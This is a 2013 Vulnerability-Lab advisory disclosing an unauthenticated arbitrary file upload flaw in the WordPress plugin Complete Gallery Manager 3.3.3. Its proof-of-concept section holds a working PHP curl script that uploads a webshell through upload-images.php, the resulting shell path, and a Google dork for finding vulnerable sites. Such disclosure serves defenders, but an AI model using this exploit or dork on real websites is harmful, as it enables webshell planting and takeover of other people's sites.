Title:
======
Wordpress Plugin Complete Gallery Manager 3.3.3 - Arbitrary File Upload Vulnerability


Date:
=====
2013-09-17


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1080


VL-ID:
=====
1080


Common Vulnerability Scoring System:
====================================
6.6


Introduction:
=============
Using Complete Gallery Manager will make it fun and fast to manage and create galleries for your website. 
The plugin enables a wealth of functionality, but just because you can take advantage of its many features, 
doesn’t mean you necessarily should. For each feature you implement you should consider the benefit for 
your users. Don’t make the interface more complex than necessary. Less is more!

We have made it very easy for you to customize basically anything you can imagine. The Isotype Gallery has 
188 different settings you can tweak and the Touch Slider has 146 different settings.

(Copy of the Vendor Homepage: http://codecanyon.net/item/complete-gallery-manager-for-wordpress/2418606 )


Abstract:
=========
An independent Vulnerability Laboratory Researcher discovered a arbitrary file upload vulnerability in the Wordpress Complete Gallery Manager v3.3.3 plugin.


Report-Timeline:
================
2013-09-17:    Public Disclosure (Fuad Pilus)


Status:
========
Published


Affected Products:
==================
CodeCanyon
Product: Complete Gallery Manager 3.3.3


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A arbitrary file upload web vulnerability is detected in the CodeCanyon Wordpress Plugin Complete Gallery Manager v3.3.3 Web-Application.
The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on 
application-side of the service.

The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the  upload-images.php 
file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the 
other one to execute for example php codes.

Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.

Vulnerable Application(s):
        [+] CodeCanyon - Complete Gallery Manager

Vulnerable Module(s):
        [+] Image File Upload

Vulnerable File(s):
        [+] upload-images.php

Affected Module(s):
        [+] Application Index Listing (http://localhost:8000/)


Proof of Concept:
=================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...

Vuln page : 
http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php

Exploit : 

<?php
$uploadfile="up.php"; 
$ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php

Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/

Reference(s):
http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php


Risk:
=====
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).


Credits:
========
Independent Vulnerability Researcher - Fuad Pilus (codernime@gmail.com)
Greetz to : Code Newbie Team - Malaysia & Indonesia BlackHat
Byakuya | Cai | Lord Router | Ops Msia Bersatu | Clound | Agam | Encik Linux | X-Tuned and all official Code-Newbie Member


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